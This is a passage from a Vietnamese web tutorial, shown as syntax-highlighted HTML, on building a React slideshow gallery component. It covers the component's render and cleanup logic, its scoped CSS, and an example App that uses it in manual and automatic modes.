class="token punctuation">.</span>containerElm <span class="token operator">=</span> <span class="token keyword">this</span><span class="token punctuation">.</span>rootElm<span class="token punctuation">.</span><span class="token function">querySelector</span><span class="token punctuation">(</span><span class="token string">".container"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">this</span><span class="token punctuation">.</span>containerBottomElm <span class="token operator">=</span> <span class="token keyword">this</span><span class="token punctuation">.</span>rootElm<span class="token punctuation">.</span><span class="token function">querySelector</span><span class="token punctuation">(</span><span class="token string">".container-bottom"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">this</span><span class="token punctuation">.</span><span class="token function">updateDimensions</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> window<span class="token punctuation">.</span><span class="token function">addEventListener</span><span class="token punctuation">(</span><span class="token string">"resize"</span><span class="token punctuation">,</span> <span class="token keyword">this</span><span class="token punctuation">.</span>updateDimensions<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token keyword">this</span><span class="token punctuation">.</span>props<span class="token punctuation">.</span>mode <span class="token operator">===</span> <span class="token string">"automatic"</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">const</span> timeout <span class="token operator">=</span> <span class="token keyword">this</span><span class="token punctuation">.</span>props<span class="token punctuation">.</span>timeout <span class="token operator">||</span> <span class="token number">5000</span><span class="token punctuation">;</span> <span class="token keyword">this</span><span class="token punctuation">.</span>automaticInterval <span class="token operator">=</span> <span class="token function">setInterval</span><span class="token punctuation">(</span> <span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token keyword">this</span><span class="token punctuation">.</span><span class="token function">runAutomatic</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">,</span> Number<span class="token punctuation">.</span><span class="token function">parseInt</span><span class="token punctuation">(</span>timeout<span class="token punctuation">)</span> <span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token punctuation">}</span> <span class="token comment">/* * Hàm này cũng thuộc về React Component Lifecycle - * được gọi khi component này bị xóa khỏi màn hình * Lúc này, mình phải hủy bỏ sự kiện khi resize * và xóa bỏ interval đã khai bảo bên trên để tránh leak memory. */</span> <span class="token function">componentWillUnmount</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> window<span class="token punctuation">.</span><span class="token function">removeEventListener</span><span class="token punctuation">(</span><span class="token string">"resize"</span><span class="token punctuation">,</span> <span class="token keyword">this</span><span class="token punctuation">.</span>updateDimensions<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token keyword">this</span><span class="token punctuation">.</span>automaticInterval<span class="token punctuation">)</span> <span class="token function">clearInterval</span><span class="token punctuation">(</span><span class="token keyword">this</span><span class="token punctuation">.</span>automaticInterval<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token function">render</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">return</span> <span class="token punctuation">(</span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>div</span> <span class="token attr-name">className</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>lp-slideshow-gallery<span class="token punctuation">"</span></span><span class="token punctuation">></span></span><span class="token plain-text"> </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>div</span> <span class="token attr-name">className</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>container<span class="token punctuation">"</span></span><span class="token punctuation">></span></span><span class="token plain-text"> </span><span class="token punctuation">{</span><span class="token keyword">this</span><span class="token punctuation">.</span>props<span class="token punctuation">.</span>input<span class="token punctuation">.</span><span class="token function">map</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token parameter">image<span class="token punctuation">,</span> index</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">{</span> <span class="token keyword">return</span> <span class="token punctuation">(</span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>div</span> <span class="token attr-name">key</span><span class="token script language-javascript"><span class="token script-punctuation punctuation">=</span><span class="token punctuation">{</span>index<span class="token punctuation">}</span></span> <span class="token attr-name">className</span><span class="token script language-javascript"><span class="token script-punctuation punctuation">=</span><span class="token punctuation">{</span><span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">slide </span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">${</span> <span class="token keyword">this</span><span class="token punctuation">.</span>state<span class="token punctuation">.</span>slideIndex <span class="token operator">===</span> index <span class="token operator">?</span> <span class="token string">"active"</span> <span class="token operator">:</span> <span class="token string">""</span> <span class="token interpolation-punctuation punctuation">}</span></span><span class="token template-punctuation string">`</span></span><span class="token punctuation">}</span></span> <span class="token punctuation">></span></span><span class="token plain-text"> </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>div</span> <span class="token attr-name">className</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>number-text<span class="token punctuation">"</span></span><span class="token punctuation">></span></span><span class="token plain-text"> </span><span class="token punctuation">{</span><span class="token template-string"><span class="token template-punctuation string">`</span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">${</span>index <span class="token operator">+</span> <span class="token number">1</span><span class="token interpolation-punctuation punctuation">}</span></span><span class="token string"> / </span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">${</span><span class="token keyword">this</span><span class="token punctuation">.</span>props<span class="token punctuation">.</span>input<span class="token punctuation">.</span>length<span class="token interpolation-punctuation punctuation">}</span></span><span class="token template-punctuation string">`</span></span><span class="token punctuation">}</span><span class="token plain-text"> </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>div</span><span class="token punctuation">></span></span><span class="token plain-text"> </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>img</span> <span class="token attr-name">className</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>image<span class="token punctuation">"</span></span> <span class="token attr-name">src</span><span class="token script language-javascript"><span class="token script-punctuation punctuation">=</span><span class="token punctuation">{</span>image<span class="token punctuation">.</span>src<span class="token punctuation">}</span></span> <span class="token attr-name">alt</span><span class="token script language-javascript"><span class="token script-punctuation punctuation">=</span><span class="token punctuation">{</span>image<span class="token punctuation">.</span>caption<span class="token punctuation">}</span></span> <span class="token punctuation">/></span></span><span class="token plain-text"> </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>div</span> <span class="token attr-name">className</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>caption-text<span class="token punctuation">"</span></span><span class="token punctuation">></span></span><span class="token punctuation">{</span>image<span class="token punctuation">.</span>caption<span class="token punctuation">}</span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>div</span><span class="token punctuation">></span></span><span class="token plain-text"> </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>div</span><span class="token punctuation">></span></span> <span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">}</span><span class="token plain-text"> </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>span</span> <span class="token attr-name">className</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>prev<span class="token punctuation">"</span></span> <span class="token attr-name">onClick</span><span class="token script language-javascript"><span class="token script-punctuation punctuation">=</span><span class="token punctuation">{</span><span class="token keyword">this</span><span class="token punctuation">.</span>backward<span class="token punctuation">}</span></span><span class="token punctuation">></span></span><span class="token plain-text"> ❮ </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>span</span><span class="token punctuation">></span></span><span class="token plain-text"> </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>span</span> <span class="token attr-name">className</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>next<span class="token punctuation">"</span></span> <span class="token attr-name">onClick</span><span class="token script language-javascript"><span class="token script-punctuation punctuation">=</span><span class="token punctuation">{</span><span class="token keyword">this</span><span class="token punctuation">.</span>forward<span class="token punctuation">}</span></span><span class="token punctuation">></span></span><span class="token plain-text"> ❯ </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>span</span><span class="token punctuation">></span></span><span class="token plain-text"> </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>div</span><span class="token punctuation">></span></span><span class="token plain-text"> </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>div</span> <span class="token attr-name">className</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>container-bottom<span class="token punctuation">"</span></span><span class="token punctuation">></span></span><span class="token plain-text"> </span><span class="token punctuation">{</span><span class="token keyword">this</span><span class="token punctuation">.</span>props<span class="token punctuation">.</span>input<span class="token punctuation">.</span><span class="token function">map</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token parameter">image<span class="token punctuation">,</span> index</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">{</span> <span class="token keyword">return</span> <span class="token punctuation">(</span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>img</span> <span class="token attr-name">key</span><span class="token script language-javascript"><span class="token script-punctuation punctuation">=</span><span class="token punctuation">{</span>index<span class="token punctuation">}</span></span> <span class="token attr-name">src</span><span class="token script language-javascript"><span class="token script-punctuation punctuation">=</span><span class="token punctuation">{</span>image<span class="token punctuation">.</span>src<span class="token punctuation">}</span></span> <span class="token attr-name">alt</span><span class="token script language-javascript"><span class="token script-punctuation punctuation">=</span><span class="token punctuation">{</span>image<span class="token punctuation">.</span>caption<span class="token punctuation">}</span></span> <span class="token attr-name">className</span><span class="token script language-javascript"><span class="token script-punctuation punctuation">=</span><span class="token punctuation">{</span><span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">image </span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">${</span> <span class="token keyword">this</span><span class="token punctuation">.</span>state<span class="token punctuation">.</span>slideIndex <span class="token operator">===</span> index <span class="token operator">?</span> <span class="token string">"active"</span> <span class="token operator">:</span> <span class="token string">""</span> <span class="token interpolation-punctuation punctuation">}</span></span><span class="token template-punctuation string">`</span></span><span class="token punctuation">}</span></span> <span class="token attr-name">onClick</span><span class="token script language-javascript"><span class="token script-punctuation punctuation">=</span><span class="token punctuation">{</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token keyword">this</span><span class="token punctuation">.</span><span class="token function">setSlideIndex</span><span class="token punctuation">(</span>index<span class="token punctuation">)</span><span class="token punctuation">}</span></span> <span class="token attr-name">style</span><span class="token script language-javascript"><span class="token script-punctuation punctuation">=</span><span class="token punctuation">{</span><span class="token punctuation">{</span> <span class="token literal-property property">width</span><span class="token operator">:</span> <span class="token template-string"><span class="token template-punctuation string">`</span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">${</span><span class="token punctuation">(</span><span class="token number">1</span> <span class="token operator">/</span> <span class="token keyword">this</span><span class="token punctuation">.</span>props<span class="token punctuation">.</span>input<span class="token punctuation">.</span>length<span class="token punctuation">)</span> <span class="token operator">*</span> <span class="token number">100</span><span class="token interpolation-punctuation punctuation">}</span></span><span class="token string">%</span><span class="token template-punctuation string">`</span></span><span class="token punctuation">,</span> <span class="token literal-property property">height</span><span class="token operator">:</span> <span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">100%</span><span class="token template-punctuation string">`</span></span><span class="token punctuation">,</span> <span class="token punctuation">}</span><span class="token punctuation">}</span></span> <span class="token punctuation">/></span></span> <span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">}</span><span class="token plain-text"> </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>div</span><span class="token punctuation">></span></span><span class="token plain-text"> </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>div</span><span class="token punctuation">></span></span> <span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token punctuation">}</span></code></pre></div> <h3 id="nội-dung-file-slideshow-gallerycss" style="position:relative;"><a href="#n%E1%BB%99i-dung-file-slideshow-gallerycss" aria-label="nội dung file slideshow gallerycss permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Nội dung file slideshow-gallery.css</h3> <p>File này dùng để xác định style cho Slideshow Gallery component. Bạn chú ý là mọi thành phần mình đều để trong class <strong>.lp-slideshow-gallery</strong> để đảm bảo không bị xung đột với các component khác (khi kết hợp các component lại với nhau).</p> <p>Ngoài ra, mình sử dụng <a href="https://www.w3schools.com/cssref/css_selectors.asp">CSS selector</a> là <strong>></strong>. Với ý nghĩa, ví dụ khi mình dùng <strong>element1 > element2</strong> thì sẽ hiểu style này được áp dụng cho <strong>element2</strong> là con trực tiếp của <strong>element1</strong> mà không phải cháu, chắt,…</p> <div class="gatsby-code-title gatsby-remark-code-title">slideshow-gallery.css</div> <div class="gatsby-highlight" data-language="css"><pre class="language-css"><code class="language-css"><span class="token selector">.lp-slideshow-gallery, .lp-slideshow-gallery *</span> <span class="token punctuation">{</span> <span class="token property">box-sizing</span><span class="token punctuation">:</span> border-box<span class="token punctuation">;</span> <span class="token property">-moz-box-sizing</span><span class="token punctuation">:</span> border-box<span class="token punctuation">;</span> <span class="token property">-webkit-box-sizing</span><span class="token punctuation">:</span> border-box<span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token selector">.lp-slideshow-gallery</span> <span class="token punctuation">{</span> <span class="token property">width</span><span class="token punctuation">:</span> 100%<span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token selector">.lp-slideshow-gallery > .container</span> <span class="token punctuation">{</span> <span class="token property">position</span><span class="token punctuation">:</span> relative<span class="token punctuation">;</span> <span class="token property">margin</span><span class="token punctuation">:</span> auto<span class="token punctuation">;</span> <span class="token property">width</span><span class="token punctuation">:</span> 100%<span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token selector">.lp-slideshow-gallery > .container > .slide</span> <span class="token punctuation">{</span> <span class="token property">width</span><span class="token punctuation">:</span> 100%<span class="token punctuation">;</span> <span class="token property">height</span><span class="token punctuation">:</span> 100%<span class="token punctuation">;</span> <span class="token property">position</span><span class="token punctuation">:</span> absolute<span class="token punctuation">;</span> <span class="token property">margin</span><span class="token punctuation">:</span> auto<span class="token punctuation">;</span> <span class="token property">opacity</span><span class="token punctuation">:</span> 0<span class="token punctuation">;</span> <span class="token property">transition</span><span class="token punctuation">:</span> opacity 0.6s ease<span class="token punctuation">;</span> <span class="token property">-webkit-transition</span><span class="token punctuation">:</span> opacity 0.6s ease<span class="token punctuation">;</span> <span class="token property">-moz-transition</span><span class="token punctuation">:</span> opacity 0.6s ease<span class="token punctuation">;</span> <span class="token property">-o-transition</span><span class="token punctuation">:</span> opacity 0.6s ease<span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token selector">.lp-slideshow-gallery > .container > .slide.active</span> <span class="token punctuation">{</span> <span class="token property">opacity</span><span class="token punctuation">:</span> 1<span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token selector">.lp-slideshow-gallery > .container > .slide > .image</span> <span class="token punctuation">{</span> <span class="token property">width</span><span class="token punctuation">:</span> 100%<span class="token punctuation">;</span> <span class="token property">height</span><span class="token punctuation">:</span> 100%<span class="token punctuation">;</span> <span class="token property">object-fit</span><span class="token punctuation">:</span> cover<span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token selector">.lp-slideshow-gallery > .container > .slide > .number-text</span> <span class="token punctuation">{</span> <span class="token property">color</span><span class="token punctuation">:</span> #fff<span class="token punctuation">;</span> <span class="token property">font-size</span><span class="token punctuation">:</span> 1rem<span class="token punctuation">;</span> <span class="token property">padding</span><span class="token punctuation">:</span> 8px 12px<span class="token punctuation">;</span> <span class="token property">position</span><span class="token punctuation">:</span> absolute<span class="token punctuation">;</span> <span class="token property">top</span><span class="token punctuation">:</span> 0<span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token selector">.lp-slideshow-gallery > .container > .slide > .caption-text</span> <span class="token punctuation">{</span> <span class="token property">color</span><span class="token punctuation">:</span> #fff<span class="token punctuation">;</span> <span class="token property">font-size</span><span class="token punctuation">:</span> 1.3rem<span class="token punctuation">;</span> <span class="token property">padding</span><span class="token punctuation">:</span> 8px 12px<span class="token punctuation">;</span> <span class="token property">position</span><span class="token punctuation">:</span> absolute<span class="token punctuation">;</span> <span class="token property">bottom</span><span class="token punctuation">:</span> 0px<span class="token punctuation">;</span> <span class="token property">width</span><span class="token punctuation">:</span> 100%<span class="token punctuation">;</span> <span class="token property">text-align</span><span class="token punctuation">:</span> center<span class="token punctuation">;</span> <span class="token property">background-color</span><span class="token punctuation">:</span> <span class="token function">rgba</span><span class="token punctuation">(</span>0<span class="token punctuation">,</span> 0<span class="token punctuation">,</span> 0<span class="token punctuation">,</span> 0.2<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token selector">.lp-slideshow-gallery > .container > .prev, .lp-slideshow-gallery > .container > .next</span> <span class="token punctuation">{</span> <span class="token property">cursor</span><span class="token punctuation">:</span> pointer<span class="token punctuation">;</span> <span class="token property">position</span><span class="token punctuation">:</span> absolute<span class="token punctuation">;</span> <span class="token property">top</span><span class="token punctuation">:</span> 50%<span class="token punctuation">;</span> <span class="token property">width</span><span class="token punctuation">:</span> auto<span class="token punctuation">;</span> <span class="token property">margin-top</span><span class="token punctuation">:</span> -22px<span class="token punctuation">;</span> <span class="token property">padding</span><span class="token punctuation">:</span> 16px<span class="token punctuation">;</span> <span class="token property">font-size</span><span class="token punctuation">:</span> 18px<span class="token punctuation">;</span> <span class="token property">color</span><span class="token punctuation">:</span> #fff<span class="token punctuation">;</span> <span class="token property">font-weight</span><span class="token punctuation">:</span> bold<span class="token punctuation">;</span> <span class="token property">transition</span><span class="token punctuation">:</span> background-color 0.6s ease<span class="token punctuation">;</span> <span class="token property">-webkit-transition</span><span class="token punctuation">:</span> background-color 0.6s ease<span class="token punctuation">;</span> <span class="token property">-moz-transition</span><span class="token punctuation">:</span> background-color 0.6s ease<span class="token punctuation">;</span> <span class="token property">-o-transition</span><span class="token punctuation">:</span> background-color 0.6s ease<span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token selector">.lp-slideshow-gallery:hover > .container > .prev, .lp-slideshow-gallery:hover > .container > .next</span> <span class="token punctuation">{</span> <span class="token property">background-color</span><span class="token punctuation">:</span> <span class="token function">rgba</span><span class="token punctuation">(</span>0<span class="token punctuation">,</span> 0<span class="token punctuation">,</span> 0<span class="token punctuation">,</span> 0.2<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token selector">.lp-slideshow-gallery:hover > .container > .prev:hover, .lp-slideshow-gallery:hover > .container > .next:hover</span> <span class="token punctuation">{</span> <span class="token property">background-color</span><span class="token punctuation">:</span> <span class="token function">rgba</span><span class="token punctuation">(</span>0<span class="token punctuation">,</span> 0<span class="token punctuation">,</span> 0<span class="token punctuation">,</span> 0.8<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token selector">.lp-slideshow-gallery > .container > .next</span> <span class="token punctuation">{</span> <span class="token property">right</span><span class="token punctuation">:</span> 0<span class="token punctuation">;</span> <span class="token property">border-radius</span><span class="token punctuation">:</span> 3px 0 0 3px<span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token selector">.lp-slideshow-gallery > .container > .prev</span> <span class="token punctuation">{</span> <span class="token property">left</span><span class="token punctuation">:</span> 0<span class="token punctuation">;</span> <span class="token property">border-radius</span><span class="token punctuation">:</span> 0 3px 3px 0<span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token selector">.lp-slideshow-gallery > .container-bottom</span> <span class="token punctuation">{</span> <span class="token property">margin-bottom</span><span class="token punctuation">:</span> 1rem<span class="token punctuation">;</span> <span class="token property">width</span><span class="token punctuation">:</span> 100%<span class="token punctuation">;</span> <span class="token property">display</span><span class="token punctuation">:</span> flex<span class="token punctuation">;</span> <span class="token property">display</span><span class="token punctuation">:</span> -webkit-flex<span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token selector">.lp-slideshow-gallery > .container-bottom > .image</span> <span class="token punctuation">{</span> <span class="token property">flex</span><span class="token punctuation">:</span> 1<span class="token punctuation">;</span> <span class="token property">object-fit</span><span class="token punctuation">:</span> cover<span class="token punctuation">;</span> <span class="token property">opacity</span><span class="token punctuation">:</span> 0.5<span class="token punctuation">;</span> <span class="token property">transition</span><span class="token punctuation">:</span> opacity 0.6s ease<span class="token punctuation">;</span> <span class="token property">-webkit-transition</span><span class="token punctuation">:</span> opacity 0.6s ease<span class="token punctuation">;</span> <span class="token property">-moz-transition</span><span class="token punctuation">:</span> opacity 0.6s ease<span class="token punctuation">;</span> <span class="token property">-o-transition</span><span class="token punctuation">:</span> opacity 0.6s ease<span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token selector">.lp-slideshow-gallery > .container-bottom > .image.active, .lp-slideshow-gallery > .container-bottom > .image:hover</span> <span class="token punctuation">{</span> <span class="token property">opacity</span><span class="token punctuation">:</span> 1<span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token selector">.lp-slideshow-gallery > .container-bottom > .image:not(.active):hover</span> <span class="token punctuation">{</span> <span class="token property">cursor</span><span class="token punctuation">:</span> pointer<span class="token punctuation">;</span> <span class="token punctuation">}</span></code></pre></div> <h2 id="sử-dụng-slideshow-gallery-component" style="position:relative;"><a href="#s%E1%BB%AD-d%E1%BB%A5ng-slideshow-gallery-component" aria-label="sử dụng slideshow gallery component permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Sử dụng Slideshow Gallery component</h2> <div class="gatsby-code-title gatsby-remark-code-title">./src/App.css</div> <div class="gatsby-highlight" data-language="css"><pre class="language-css"><code class="language-css"><span class="token comment">/* Không thay đổi */</span> <span class="token selector">.App, .App *</span> <span class="token punctuation">{</span> <span class="token property">box-sizing</span><span class="token punctuation">:</span> border-box<span class="token punctuation">;</span> <span class="token property">-moz-box-sizing</span><span class="token punctuation">:</span> border-box<span class="token punctuation">;</span> <span class="token property">-webkit-box-sizing</span><span class="token punctuation">:</span> border-box<span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token selector">.App</span> <span class="token punctuation">{</span> <span class="token property">text-align</span><span class="token punctuation">:</span> center<span class="token punctuation">;</span> <span class="token property">width</span><span class="token punctuation">:</span> 100%<span class="token punctuation">;</span> <span class="token property">max-width</span><span class="token punctuation">:</span> 780px<span class="token punctuation">;</span> <span class="token property">margin</span><span class="token punctuation">:</span> auto<span class="token punctuation">;</span> <span class="token property">padding</span><span class="token punctuation">:</span> 15px<span class="token punctuation">;</span> <span class="token property">color</span><span class="token punctuation">:</span> #222<span class="token punctuation">;</span> <span class="token property">font</span><span class="token punctuation">:</span> normal normal normal 1rem/1.6 Nunito Sans<span class="token punctuation">,</span> Helvetica<span class="token punctuation">,</span> Arial<span class="token punctuation">,</span> sans-serif<span class="token punctuation">;</span> <span class="token punctuation">}</span></code></pre></div> <div class="gatsby-code-title gatsby-remark-code-title">./src/App.js</div> <div class="gatsby-highlight" data-language="jsx"><pre class="language-jsx"><code class="language-jsx"><span class="token keyword">import</span> React <span class="token keyword">from</span> <span class="token string">"react"</span><span class="token punctuation">;</span> <span class="token keyword">import</span> <span class="token string">"./App.css"</span><span class="token punctuation">;</span> <span class="token keyword">import</span> SlideshowGallery <span class="token keyword">from</span> <span class="token string">"./components/slideshow-gallery/slideshow-gallery"</span><span class="token punctuation">;</span> <span class="token keyword">import</span> img1 <span class="token keyword">from</span> <span class="token string">"./images/01.jpg"</span><span class="token punctuation">;</span> <span class="token keyword">import</span> img2 <span class="token keyword">from</span> <span class="token string">"./images/02.jpg"</span><span class="token punctuation">;</span> <span class="token keyword">import</span> img3 <span class="token keyword">from</span> <span class="token string">"./images/03.jpg"</span><span class="token punctuation">;</span> <span class="token keyword">import</span> img4 <span class="token keyword">from</span> <span class="token string">"./images/04.jpg"</span><span class="token punctuation">;</span> <span class="token keyword">import</span> img5 <span class="token keyword">from</span> <span class="token string">"./images/05.jpg"</span><span class="token punctuation">;</span> <span class="token keyword">import</span> img6 <span class="token keyword">from</span> <span class="token string">"./images/06.jpg"</span><span class="token punctuation">;</span> <span class="token keyword">const</span> collection <span class="token operator">=</span> <span class="token punctuation">[</span> <span class="token punctuation">{</span> <span class="token literal-property property">src</span><span class="token operator">:</span> img1<span class="token punctuation">,</span> <span class="token literal-property property">caption</span><span class="token operator">:</span> <span class="token string">"Caption one"</span> <span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token punctuation">{</span> <span class="token literal-property property">src</span><span class="token operator">:</span> img2<span class="token punctuation">,</span> <span class="token literal-property property">caption</span><span class="token operator">:</span> <span class="token string">"Caption two"</span> <span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token punctuation">{</span> <span class="token literal-property property">src</span><span class="token operator">:</span> img3<span class="token punctuation">,</span> <span class="token literal-property property">caption</span><span class="token operator">:</span> <span class="token string">"Caption three"</span> <span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token punctuation">{</span> <span class="token literal-property property">src</span><span class="token operator">:</span> img4<span class="token punctuation">,</span> <span class="token literal-property property">caption</span><span class="token operator">:</span> <span class="token string">"Caption four"</span> <span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token punctuation">{</span> <span class="token literal-property property">src</span><span class="token operator">:</span> img5<span class="token punctuation">,</span> <span class="token literal-property property">caption</span><span class="token operator">:</span> <span class="token string">"Caption five"</span> <span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token punctuation">{</span> <span class="token literal-property property">src</span><span class="token operator">:</span> img6<span class="token punctuation">,</span> <span class="token literal-property property">caption</span><span class="token operator">:</span> <span class="token string">"Caption six"</span> <span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token punctuation">]</span><span class="token punctuation">;</span> <span class="token keyword">export</span> <span class="token keyword">default</span> <span class="token keyword">class</span> <span class="token class-name">App</span> <span class="token keyword">extends</span> <span class="token class-name">React<span class="token punctuation">.</span>Component</span> <span class="token punctuation">{</span> <span class="token function">render</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">return</span> <span class="token punctuation">(</span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>div</span> <span class="token attr-name">className</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>App<span class="token punctuation">"</span></span><span class="token punctuation">></span></span><span class="token plain-text"> </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span><span class="token class-name">SlideshowGallery</span></span> <span class="token attr-name">input</span><span class="token script language-javascript"><span class="token script-punctuation punctuation">=</span><span class="token punctuation">{</span>collection<span class="token punctuation">}</span></span> <span class="token attr-name">ratio</span><span class="token script language-javascript"><span class="token script-punctuation punctuation">=</span><span class="token punctuation">{</span><span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">3:2</span><span class="token template-punctuation string">`</span></span><span class="token punctuation">}</span></span> <span class="token attr-name">mode</span><span class="token script language-javascript"><span class="token script-punctuation punctuation">=</span><span class="token punctuation">{</span><span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">manual</span><span class="token template-punctuation string">`</span></span><span class="token punctuation">}</span></span> <span class="token punctuation">/></span></span><span class="token plain-text"> </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span><span class="token class-name">SlideshowGallery</span></span> <span class="token attr-name">input</span><span class="token script language-javascript"><span class="token script-punctuation punctuation">=</span><span class="token punctuation">{</span>collection<span class="token punctuation">}</span></span> <span class="token attr-name">ratio</span><span class="token script language-javascript"><span class="token script-punctuation punctuation">=</span><span class="token punctuation">{</span><span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">3:2</span><span class="token template-punctuation string">`</span></span><span class="token punctuation">}</span></span> <span class="token attr-name">mode</span><span class="token script language-javascript"><span class="token script-punctuation punctuation">=</span><span class="token punctuation">{</span><span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">automatic</span><span 